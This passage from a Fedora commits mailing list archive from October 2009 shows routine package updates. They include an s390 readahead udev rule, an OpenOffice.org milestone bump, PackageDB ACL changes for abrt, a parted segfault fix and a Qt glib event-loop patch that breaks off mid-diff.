From sharkcz at fedoraproject.org  Fri Oct 30 11:38:33 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 30 Oct 2009 11:38:33 +0000 (UTC)
Subject: rpms/s390utils/F-12
	0011-update-readahead-value-for-better-performance.patch, NONE,
	1.1 s390utils.spec, 1.10, 1.11 dasd.udev, 1.1, NONE
Message-ID: <20091030113833.DF96811C00E8@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/s390utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25643

Modified Files:
	s390utils.spec 
Added Files:
	0011-update-readahead-value-for-better-performance.patch 
Removed Files:
	dasd.udev 
Log Message:
* Fri Oct 30 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-2
- install dasd udev rules provided by the s390-tools
- added patch for setting readahead value


0011-update-readahead-value-for-better-performance.patch:
 60-readahead.rules |   14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

--- NEW FILE 0011-update-readahead-value-for-better-performance.patch ---
>From 5707bfdf0aac985e8e82c9a5004eb458d1d79801 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Fri, 30 Oct 2009 11:23:08 +0100
Subject: [PATCH] update readahead value for better performance

Description: dasd,zfcp: Add udev rule to set increased "default max readahead"
Symptom:     Sequential read performance on disks is not as good as it could be.
Problem:     The current "default max readahead" defined by the kernel is too
             small for s390 (128 kb).
Solution:    Add udev rule to set a better default value (512 kb). This will
             increase sequential read performance up to 40%.
---
 etc/udev/rules.d/60-readahead.rules |   13 +++++++++++++
 1 files changed, 13 insertions(+), 0 deletions(-)
 create mode 100644 etc/udev/rules.d/60-readahead.rules

diff --git a/etc/udev/rules.d/60-readahead.rules b/etc/udev/rules.d/60-readahead.rules
new file mode 100644
index 0000000..3133c66
--- /dev/null
+++ b/etc/udev/rules.d/60-readahead.rules
@@ -0,0 +1,13 @@
+#
+# Rules to set an increased default max readahead size for s390 disk devices
+# This file should be installed in /etc/udev/rules.d
+#
+
+SUBSYSTEM!="block", GOTO="ra_end"
+
+ACTION!="add", GOTO="ra_end"
+# on device add set initial readahead to 512 (instead of in kernel 128)
+KERNEL=="sd*[!0-9]", ATTR{queue/read_ahead_kb}="512"
+KERNEL=="dasd*[!0-9]", ATTR{queue/read_ahead_kb}="512"
+
+LABEL="ra_end"
-- 
1.6.3.3



Index: s390utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-12/s390utils.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- s390utils.spec	8 Oct 2009 13:54:28 -0000	1.10
+++ s390utils.spec	30 Oct 2009 11:38:33 -0000	1.11
@@ -8,7 +8,7 @@ Name:           s390utils
 Summary:        Utilities and daemons for IBM System/z
 Group:          System Environment/Base
 Version:        1.8.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Epoch:          2
 License:        GPLv2 and GPLv2+ and CPL
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -23,7 +23,6 @@ Source5:        zfcpconf.sh
 # http://www.ibm.com/developerworks/linux/linux390/src_vipa-%{vipaver}.html
 Source6:        http://download.boulder.ibm.com/ibmdl/pub/software/dw/linux390/ht_src/src_vipa-%{vipaver}.tar.gz
 Source7:        zfcp.udev
-Source8:        dasd.udev
 # http://www.ibm.com/developerworks/linux/linux390/zfcp-hbaapi-%{hbaapiver}.html
 Source9:        http://download.boulder.ibm.com/ibmdl/pub/software/dw/linux390/ht_src/lib-zfcp-hbaapi-%{hbaapiver}.tar.gz
 
@@ -37,6 +36,7 @@ Patch7:   0007-s390-tools-1.8.1-lszfcp-p
 Patch8:   0008-fix-string-overflow-in-vtoc_volume_label_init.patch
 Patch9:   0009-change-default-load-address-for-ramdisk.patch
 Patch10:  0010-improve-mon_statd-init-script.patch
+Patch11:  0011-update-readahead-value-for-better-performance.patch
 
 Patch100:       cmsfs-1.1.8-warnings.patch
 Patch101:       cmsfs-1.1.8-kernel26.patch
@@ -95,6 +95,9 @@ be used together with the zSeries (s390)
 # Improve mon_statd init script
 %patch10 -p1 -b .improve-mon_statd
 
+# Update readahead value for better performance
+%patch11 -p1 -b .readahead
+
 #
 # cmsfs
 #
@@ -163,7 +166,7 @@ popd
 %install
 rm -rf ${RPM_BUILD_ROOT}
 
-mkdir -p $RPM_BUILD_ROOT{%{_lib},%{_libdir},/sbin,/bin,/boot,%{_mandir}/man1,%{_mandir}/man8,%{_sbindir},%{_bindir},%{_sysconfdir}/{profile.d,udev/rules.d,rc.d/init.d,sysconfig}}
+mkdir -p $RPM_BUILD_ROOT{%{_lib},%{_libdir},/sbin,/bin,/boot,%{_mandir}/man1,%{_mandir}/man8,%{_sbindir},%{_bindir},%{_sysconfdir}/{profile.d,udev/rules.d,sysconfig},%{_initddir}}
 
 make install \
         INSTROOT=$RPM_BUILD_ROOT \
@@ -172,17 +175,11 @@ make install \
         DISTRELEASE=%{release} \
         V=1
 
-mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
-mkdir -p ${RPM_BUILD_ROOT}%{_initddir}
-mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/udev/rules.d
-mkdir -p ${RPM_BUILD_ROOT}/sbin
-
 install -p -m 644 zipl/boot/tape0.bin $RPM_BUILD_ROOT/boot/tape0
 install -p -m 644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
 install -p -m 644 %{SOURCE3} $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
 install -p -m 755 %{SOURCE5} $RPM_BUILD_ROOT/sbin
 install -p -m 644 %{SOURCE7} $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/56-zfcp.rules
-install -p -m 644 %{SOURCE8} $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/56-dasd.rules
 
 install -p -m 644 etc/sysconfig/dumpconf ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
 install -p -m 755 etc/init.d/dumpconf ${RPM_BUILD_ROOT}%{_initddir}/dumpconf
@@ -193,7 +190,7 @@ install -p -m 755 etc/init.d/mon_statd $
 install -p -m 644 etc/sysconfig/cpuplugd ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
 install -p -m 755 etc/init.d/cpuplugd ${RPM_BUILD_ROOT}%{_initddir}/cpuplugd
 
-install -Dp -m 644 etc/udev/rules.d/57-osasnmpd.rules ${RPM_BUILD_ROOT}%{_sysconfdir}/udev/rules.d
+install -Dp -m 644 etc/udev/rules.d/*.rules ${RPM_BUILD_ROOT}%{_sysconfdir}/udev/rules.d
 
 # cmsfs tools must be available in /sbin
 install -p -m 755 cmsfs-%{cmsfsver}/cmsfscat $RPM_BUILD_ROOT/sbin
@@ -464,8 +461,9 @@ fi
 /boot/tape0
 %{_sysconfdir}/profile.d/s390.csh
 %{_sysconfdir}/profile.d/s390.sh
-%config(noreplace) %{_sysconfdir}/udev/rules.d/56-dasd.rules
 %config(noreplace) %{_sysconfdir}/udev/rules.d/56-zfcp.rules
+%config(noreplace) %{_sysconfdir}/udev/rules.d/59-dasd.rules
+%config(noreplace) %{_sysconfdir}/udev/rules.d/60-readahead.rules
 /sbin/zfcpconf.sh
 
 # src_vipa
@@ -760,6 +758,10 @@ User-space development files for the s39
 
 
 %changelog
+* Fri Oct 30 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-2
+- install dasd udev rules provided by the s390-tools
+- added patch for setting readahead value
+
 * Thu Oct  8 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-1
 - added patch for improving mon_statd behaviour
 - rebased to 1.8.2


--- dasd.udev DELETED ---



From sharkcz at fedoraproject.org  Fri Oct 30 11:39:30 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 30 Oct 2009 11:39:30 +0000 (UTC)
Subject: rpms/s390utils/devel
	0011-update-readahead-value-for-better-performance.patch, NONE,
	1.1 s390utils.spec, 1.10, 1.11 dasd.udev, 1.1, NONE
Message-ID: <20091030113930.01E3611C00E8@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/s390utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26018

Modified Files:
	s390utils.spec 
Added Files:
	0011-update-readahead-value-for-better-performance.patch 
Removed Files:
	dasd.udev 
Log Message:
* Fri Oct 30 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-2
- install dasd udev rules provided by the s390-tools
- added patch for setting readahead value


0011-update-readahead-value-for-better-performance.patch:
 60-readahead.rules |   14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

--- NEW FILE 0011-update-readahead-value-for-better-performance.patch ---
>From 5707bfdf0aac985e8e82c9a5004eb458d1d79801 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Fri, 30 Oct 2009 11:23:08 +0100
Subject: [PATCH] update readahead value for better performance

Description: dasd,zfcp: Add udev rule to set increased "default max readahead"
Symptom:     Sequential read performance on disks is not as good as it could be.
Problem:     The current "default max readahead" defined by the kernel is too
             small for s390 (128 kb).
Solution:    Add udev rule to set a better default value (512 kb). This will
             increase sequential read performance up to 40%.
---
 etc/udev/rules.d/60-readahead.rules |   13 +++++++++++++
 1 files changed, 13 insertions(+), 0 deletions(-)
 create mode 100644 etc/udev/rules.d/60-readahead.rules

diff --git a/etc/udev/rules.d/60-readahead.rules b/etc/udev/rules.d/60-readahead.rules
new file mode 100644
index 0000000..3133c66
--- /dev/null
+++ b/etc/udev/rules.d/60-readahead.rules
@@ -0,0 +1,13 @@
+#
+# Rules to set an increased default max readahead size for s390 disk devices
+# This file should be installed in /etc/udev/rules.d
+#
+
+SUBSYSTEM!="block", GOTO="ra_end"
+
+ACTION!="add", GOTO="ra_end"
+# on device add set initial readahead to 512 (instead of in kernel 128)
+KERNEL=="sd*[!0-9]", ATTR{queue/read_ahead_kb}="512"
+KERNEL=="dasd*[!0-9]", ATTR{queue/read_ahead_kb}="512"
+
+LABEL="ra_end"
-- 
1.6.3.3



Index: s390utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/devel/s390utils.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- s390utils.spec	8 Oct 2009 13:55:38 -0000	1.10
+++ s390utils.spec	30 Oct 2009 11:39:29 -0000	1.11
@@ -8,7 +8,7 @@ Name:           s390utils
 Summary:        Utilities and daemons for IBM System/z
 Group:          System Environment/Base
 Version:        1.8.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Epoch:          2
 License:        GPLv2 and GPLv2+ and CPL
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -23,7 +23,6 @@ Source5:        zfcpconf.sh
 # http://www.ibm.com/developerworks/linux/linux390/src_vipa-%{vipaver}.html
 Source6:        http://download.boulder.ibm.com/ibmdl/pub/software/dw/linux390/ht_src/src_vipa-%{vipaver}.tar.gz
 Source7:        zfcp.udev
-Source8:        dasd.udev
 # http://www.ibm.com/developerworks/linux/linux390/zfcp-hbaapi-%{hbaapiver}.html
 Source9:        http://download.boulder.ibm.com/ibmdl/pub/software/dw/linux390/ht_src/lib-zfcp-hbaapi-%{hbaapiver}.tar.gz
 
@@ -37,6 +36,7 @@ Patch7:   0007-s390-tools-1.8.1-lszfcp-p
 Patch8:   0008-fix-string-overflow-in-vtoc_volume_label_init.patch
 Patch9:   0009-change-default-load-address-for-ramdisk.patch
 Patch10:  0010-improve-mon_statd-init-script.patch
+Patch11:  0011-update-readahead-value-for-better-performance.patch
 
 Patch100:       cmsfs-1.1.8-warnings.patch
 Patch101:       cmsfs-1.1.8-kernel26.patch
@@ -95,6 +95,9 @@ be used together with the zSeries (s390)
 # Improve mon_statd init script
 %patch10 -p1 -b .improve-mon_statd
 
+# Update readahead value for better performance
+%patch11 -p1 -b .readahead
+
 #
 # cmsfs
 #
@@ -163,7 +166,7 @@ popd
 %install
 rm -rf ${RPM_BUILD_ROOT}
 
-mkdir -p $RPM_BUILD_ROOT{%{_lib},%{_libdir},/sbin,/bin,/boot,%{_mandir}/man1,%{_mandir}/man8,%{_sbindir},%{_bindir},%{_sysconfdir}/{profile.d,udev/rules.d,rc.d/init.d,sysconfig}}
+mkdir -p $RPM_BUILD_ROOT{%{_lib},%{_libdir},/sbin,/bin,/boot,%{_mandir}/man1,%{_mandir}/man8,%{_sbindir},%{_bindir},%{_sysconfdir}/{profile.d,udev/rules.d,sysconfig},%{_initddir}}
 
 make install \
         INSTROOT=$RPM_BUILD_ROOT \
@@ -172,17 +175,11 @@ make install \
         DISTRELEASE=%{release} \
         V=1
 
-mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
-mkdir -p ${RPM_BUILD_ROOT}%{_initddir}
-mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/udev/rules.d
-mkdir -p ${RPM_BUILD_ROOT}/sbin
-
 install -p -m 644 zipl/boot/tape0.bin $RPM_BUILD_ROOT/boot/tape0
 install -p -m 644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
 install -p -m 644 %{SOURCE3} $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
 install -p -m 755 %{SOURCE5} $RPM_BUILD_ROOT/sbin
 install -p -m 644 %{SOURCE7} $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/56-zfcp.rules
-install -p -m 644 %{SOURCE8} $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/56-dasd.rules
 
 install -p -m 644 etc/sysconfig/dumpconf ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
 install -p -m 755 etc/init.d/dumpconf ${RPM_BUILD_ROOT}%{_initddir}/dumpconf
@@ -193,7 +190,7 @@ install -p -m 755 etc/init.d/mon_statd $
 install -p -m 644 etc/sysconfig/cpuplugd ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
 install -p -m 755 etc/init.d/cpuplugd ${RPM_BUILD_ROOT}%{_initddir}/cpuplugd
 
-install -Dp -m 644 etc/udev/rules.d/57-osasnmpd.rules ${RPM_BUILD_ROOT}%{_sysconfdir}/udev/rules.d
+install -Dp -m 644 etc/udev/rules.d/*.rules ${RPM_BUILD_ROOT}%{_sysconfdir}/udev/rules.d
 
 # cmsfs tools must be available in /sbin
 install -p -m 755 cmsfs-%{cmsfsver}/cmsfscat $RPM_BUILD_ROOT/sbin
@@ -464,8 +461,9 @@ fi
 /boot/tape0
 %{_sysconfdir}/profile.d/s390.csh
 %{_sysconfdir}/profile.d/s390.sh
-%config(noreplace) %{_sysconfdir}/udev/rules.d/56-dasd.rules
 %config(noreplace) %{_sysconfdir}/udev/rules.d/56-zfcp.rules
+%config(noreplace) %{_sysconfdir}/udev/rules.d/59-dasd.rules
+%config(noreplace) %{_sysconfdir}/udev/rules.d/60-readahead.rules
 /sbin/zfcpconf.sh
 
 # src_vipa
@@ -760,6 +758,10 @@ User-space development files for the s39
 
 
 %changelog
+* Fri Oct 30 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-2
+- install dasd udev rules provided by the s390-tools
+- added patch for setting readahead value
+
 * Thu Oct  8 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-1
 - added patch for improving mon_statd behaviour
 - rebased to 1.8.2


--- dasd.udev DELETED ---



From caolanm at fedoraproject.org  Fri Oct 30 11:46:53 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Fri, 30 Oct 2009 11:46:53 +0000 (UTC)
Subject: rpms/openoffice.org/devel .cvsignore, 1.231,
	1.232 openoffice.org.spec, 1.2053, 1.2054 sources, 1.378, 1.379
Message-ID: <20091030114653.BF9E211C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29181

Modified Files:
	.cvsignore openoffice.org.spec sources 
Log Message:
next sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/.cvsignore,v
retrieving revision 1.231
retrieving revision 1.232
diff -u -p -r1.231 -r1.232
--- .cvsignore	15 Oct 2009 16:21:52 -0000	1.231
+++ .cvsignore	30 Oct 2009 11:46:52 -0000	1.232
@@ -6,4 +6,4 @@ redhat-templates.tar.gz
 redhat-registry.tar.gz
 redhat-langpacks.tar.gz
 openoffice.org-javafilter.desktop
-OOO320_m2.tar.bz2
+OOO320_m3.tar.bz2


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2053
retrieving revision 1.2054
diff -u -p -r1.2053 -r1.2054
--- openoffice.org.spec	29 Oct 2009 17:53:40 -0000	1.2053
+++ openoffice.org.spec	30 Oct 2009 11:46:52 -0000	1.2054
@@ -1,6 +1,6 @@
 %define oootag OOO320
-%define ooomilestone 2
-%define rh_rpm_release 6
+%define ooomilestone 3
+%define rh_rpm_release 1
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -4133,9 +4133,10 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Thu Oct 29 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.6.UNBUILT
+* Fri Oct 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-3.1
 - Resolves: rhbz#531732 possible crash in about dialog with unfinished
   accelerator sequence
+- next milestone
 
 * Wed Oct 28 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.5
 - Resolves: ooo#103757 custom shape cut and paste (caolanm)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/sources,v
retrieving revision 1.378
retrieving revision 1.379
diff -u -p -r1.378 -r1.379
--- sources	16 Oct 2009 08:45:25 -0000	1.378
+++ sources	30 Oct 2009 11:46:52 -0000	1.379
@@ -6,4 +6,4 @@ f0cda31fe18bf9289629a321663031b8  redhat
 ffa417a9556cdb16028c83718d758bc7  redhat-langpacks.tar.gz
 39a2c59cfae4019eda4a63f414c0aa54  redhat-registry.tar.gz
 6c28507e29056a3afb4baffdadab8499  openoffice.org-javafilter.desktop
-1f2d47f2ecb94540c5b65130a2d5d21b  OOO320_m2.tar.bz2
+ff247bd2b075f7fdaf1d6068a1145011  OOO320_m3.tar.bz2



From pkgdb at fedoraproject.org  Fri Oct 30 11:58:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 11:58:27 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091030115827.3F59010F841@bastion2.fedora.phx.redhat.com>

jmoskovc has set the watchcommits acl on abrt (Fedora devel) to Approved for aarapov

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Fri Oct 30 11:58:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 11:58:27 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091030115827.4649610F849@bastion2.fedora.phx.redhat.com>

jmoskovc has set the watchbugzilla acl on abrt (Fedora devel) to Approved for aarapov

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Fri Oct 30 11:58:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 11:58:27 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091030115828.05FEF10F89C@bastion2.fedora.phx.redhat.com>

jmoskovc has set the commit acl on abrt (Fedora devel) to Approved for aarapov

To make changes to this package see:
  /pkgdb/packages/name/abrt



From jwrdegoede at fedoraproject.org  Fri Oct 30 11:58:36 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri, 30 Oct 2009 11:58:36 +0000 (UTC)
Subject: rpms/parted/devel parted-1.9.0-export-alignment-info.patch, 1.1,
	1.2 parted.spec, 1.152, 1.153
Message-ID: <20091030115836.73A3011C00E8@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/parted/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv524

Modified Files:
	parted-1.9.0-export-alignment-info.patch parted.spec 
Log Message:
* Fri Oct 30 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-19
- Fix a segfault introduced by -18 when operating on plain files


parted-1.9.0-export-alignment-info.patch:
 configure.ac             |   12 ++++
 include/parted/device.h  |   13 ++++
 include/parted/disk.h    |    3 +
 include/parted/natmath.h |    1 
 libparted/Makefile.am    |    1 
 libparted/arch/linux.c   |   67 ++++++++++++++++++++++-
 libparted/arch/linux.h   |    8 ++
 libparted/device.c       |  135 +++++++++++++++++++++++++++++++++++++++++++----
 libparted/disk.c         |   20 ++++++
 libparted/labels/dasd.c  |   11 +++
 libparted/labels/mac.c   |   11 +++
 libparted/labels/pc98.c  |   12 +++-
 libparted/labels/rdb.c   |   12 +++-
 libparted/labels/sun.c   |   10 +++
 14 files changed, 299 insertions(+), 17 deletions(-)

Index: parted-1.9.0-export-alignment-info.patch
===================================================================
RCS file: /cvs/extras/rpms/parted/devel/parted-1.9.0-export-alignment-info.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- parted-1.9.0-export-alignment-info.patch	29 Oct 2009 19:05:50 -0000	1.1
+++ parted-1.9.0-export-alignment-info.patch	30 Oct 2009 11:58:36 -0000	1.2
@@ -102,7 +102,7 @@ diff -up parted-1.9.0/libparted/Makefile
 diff -up parted-1.9.0/libparted/arch/linux.c.export-align parted-1.9.0/libparted/arch/linux.c
 --- parted-1.9.0/libparted/arch/linux.c.export-align	2009-10-29 15:19:31.000000000 +0100
 +++ parted-1.9.0/libparted/arch/linux.c	2009-10-29 15:22:59.000000000 +0100
-@@ -598,7 +598,26 @@ _have_kern26 ()
+@@ -598,7 +598,24 @@ _have_kern26 ()
          kver = _get_linux_version();
          return have_kern26 = kver >= KERNEL_VERSION (2,6,0) ? 1 : 0;
  }
@@ -112,8 +112,6 @@ diff -up parted-1.9.0/libparted/arch/lin
 +static void
 +get_blkid_topology (LinuxSpecific *arch_specific)
 +{
-+        arch_specific->topology = NULL;
-+
 +        arch_specific->probe = blkid_new_probe ();
 +        if (!arch_specific->probe)
 +                return;
@@ -140,6 +138,17 @@ diff -up parted-1.9.0/libparted/arch/lin
          /* Return PED_SECTOR_SIZE_DEFAULT for DASDs. */
          if (dev->type == PED_DEVICE_DASD) {
                  dev->sector_size = PED_SECTOR_SIZE_DEFAULT;
+@@ -1237,6 +1235,10 @@ linux_new (const char* path)
+                 goto error_free_path;
+         arch_specific = LINUX_SPECIFIC (dev);
+         arch_specific->dmtype = NULL;
++#if USE_BLKID
++        arch_specific->probe = NULL;
++        arch_specific->topology = NULL;
++#endif
+ 
+         dev->open_count = 0;
+         dev->read_only = 0;
 @@ -1335,7 +1357,12 @@ error:
  static void
  linux_destroy (PedDevice* dev)
@@ -164,7 +173,7 @@ diff -up parted-1.9.0/libparted/arch/lin
 +{
 +        blkid_topology tp = LINUX_SPECIFIC(dev)->topology;
 +
-+        if (!tp)
++        if (!tp || blkid_topology_get_minimum_io_size(tp) == 0)
 +                return NULL; /* ped_alignment_none */
 +
 +        return ped_alignment_new(
@@ -177,7 +186,7 @@ diff -up parted-1.9.0/libparted/arch/lin
 +{
 +        blkid_topology tp = LINUX_SPECIFIC(dev)->topology;
 +
-+        if (!tp)
++        if (!tp || blkid_topology_get_optimal_io_size(tp) == 0)
 +                return NULL; /* ped_alignment_none */
 +
 +        return ped_alignment_new(


Index: parted.spec
===================================================================
RCS file: /cvs/extras/rpms/parted/devel/parted.spec,v
retrieving revision 1.152
retrieving revision 1.153
diff -u -p -r1.152 -r1.153
--- parted.spec	29 Oct 2009 19:05:51 -0000	1.152
+++ parted.spec	30 Oct 2009 11:58:36 -0000	1.153
@@ -4,7 +4,7 @@
 Summary: The GNU disk partition manipulation program
 Name:    parted
 Version: 1.9.0
-Release: 18%{?dist}
+Release: 19%{?dist}
 License: GPLv3+
 Group:   Applications/System
 URL:     http://www.gnu.org/software/parted
@@ -148,6 +148,9 @@ fi
 %{_exec_prefix}/%{_lib}/pkgconfig/libparted.pc
 
 %changelog
+* Fri Oct 30 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-19
+- Fix a segfault introduced by -18 when operating on plain files
+
 * Thu Oct 29 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-18
 - Add functions to query device / partition table alignments (#528030)
 



From rdieter at fedoraproject.org  Fri Oct 30 12:01:24 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 30 Oct 2009 12:01:24 +0000 (UTC)
Subject: rpms/qt/F-12 qeventdispatcher_glib_fix.diff, NONE, 1.1 qt.spec,
	1.340, 1.341
Message-ID: <20091030120124.EBAB911C0349@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1475

Modified Files:
	qt.spec 
Added Files:
	qeventdispatcher_glib_fix.diff 
Log Message:
* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.3-8
- use upstream qeventdispatcher_glib_fix.diff (kde#210171)


qeventdispatcher_glib_fix.diff:
 qeventdispatcher_glib.cpp |  133 ++++++++++++++++++++++++++++++++++++----------
 qeventdispatcher_glib_p.h |    2 
 qeventdispatcher_unix.cpp |    8 +-
 3 files changed, 112 insertions(+), 31 deletions(-)

--- NEW FILE qeventdispatcher_glib_fix.diff ---
commit 063bded33b417cdf92fd51366fc7fdb06dea00ba
Author: Bradley T. Hughes <bradley.hughes at nokia.com>
Date:   Wed Sep 23 13:51:17 2009 +0200

    Fix regressions in qeventloop, qtimer, and qsocketnotifier autotests
    
    Commit ed375675d4a4f6fd63edeb242e23c87b3de4be6f triggers a behavior in
    Glib's mainloop implementation where some event sources are not
    "serviced" every iteration of the mainloop context. This breaks an
    invariant that many tests relied on, so we need to solve the problem.
    
    The invariant is that a newly added timer that would normally fire on
    the next pass of the event loop (liker a zero timer) SHOULD actually
    fire. We do this by registering 2 timer event sources with Glib's
    mainloop: one normal priority source and one idle priority source. The
    idle priority source is the one that will send events most of the
    time, with the normal priority one taking over only when
    processEvents() is called manually.
    
    Task-number: QT-877
    Reviewed-by: jbache
    Reviewed-by: thiago
    Reviewed-by: denis
    (cherry picked from commit d0d0fdb8e46351b4ab8492de31e5363ef6662b57)
    (cherry picked from commit 0ed23e95fa756fd851f509a565f91ab43fc30449)

diff --git a/src/corelib/kernel/qeventdispatcher_glib.cpp b/src/corelib/kernel/qeventdispatcher_glib.cpp
index 87e9728..7f6dbb6 100644
--- a/src/corelib/kernel/qeventdispatcher_glib.cpp
+++ b/src/corelib/kernel/qeventdispatcher_glib.cpp
@@ -127,16 +127,11 @@ struct GTimerSource
     GSource source;
     QTimerInfoList timerList;
     QEventLoop::ProcessEventsFlags processEventsFlags;
+    bool runWithIdlePriority;
 };
 
-static gboolean timerSourcePrepare(GSource *source, gint *timeout)
+static gboolean timerSourcePrepareHelper(GTimerSource *src, gint *timeout)
 {
-    gint dummy;
-    if (!timeout)
-        timeout = &dummy;
-
-    GTimerSource *src = reinterpret_cast<GTimerSource *>(source);
-
     timeval tv = { 0l, 0l };
     if (!(src->processEventsFlags & QEventLoop::X11ExcludeTimers) && src->timerList.timerWait(tv))
         *timeout = (tv.tv_sec * 1000) + (tv.tv_usec / 1000);
@@ -146,10 +141,8 @@ static gboolean timerSourcePrepare(GSource *source, gint *timeout)
     return (*timeout == 0);
 }
 
-static gboolean timerSourceCheck(GSource *source)
+static gboolean timerSourceCheckHelper(GTimerSource *src)
 {
-    GTimerSource *src = reinterpret_cast<GTimerSource *>(source);
-
     if (src->timerList.isEmpty()
         || (src->processEventsFlags & QEventLoop::X11ExcludeTimers))
         return false;
@@ -160,9 +153,35 @@ static gboolean timerSourceCheck(GSource *source)
     return true;
 }
 
+static gboolean timerSourcePrepare(GSource *source, gint *timeout)
+{
+    gint dummy;
+    if (!timeout)
+        timeout = &dummy;
+
+    GTimerSource *src = reinterpret_cast<GTimerSource *>(source);
+    if (src->runWithIdlePriority) {
+        if (timeout)
+            *timeout = -1;
+        return false;
+    }
+
+    return timerSourcePrepareHelper(src, timeout);
+}
+
+static gboolean timerSourceCheck(GSource *source)
+{
+    GTimerSource *src = reinterpret_cast<GTimerSource *>(source);
+    if (src->runWithIdlePriority)
+        return false;
+    return timerSourceCheckHelper(src);
+}
+
 static gboolean timerSourceDispatch(GSource *source, GSourceFunc, gpointer)
 {
-    (void) reinterpret_cast<GTimerSource *>(source)->timerList.activateTimers();
+    GTimerSource *timerSource = reinterpret_cast<GTimerSource *>(source);
+    timerSource->runWithIdlePriority = true;
+    (void) timerSource->timerList.activateTimers();
     return true; // ??? don't remove, right again?
 }
 
@@ -175,6 +194,53 @@ static GSourceFuncs timerSourceFuncs = {
     NULL
 };
 
+struct GIdleTimerSource
+{
+    GSource source;
+    GTimerSource *timerSource;
+};
+
+static gboolean idleTimerSourcePrepare(GSource *source, gint *timeout)
+{
+    GIdleTimerSource *idleTimerSource = reinterpret_cast<GIdleTimerSource *>(source);
+    GTimerSource *timerSource = idleTimerSource->timerSource;
+    if (!timerSource->runWithIdlePriority) {
+        // Yield to the normal priority timer source
+        if (timeout)
+            *timeout = -1;
+        return false;
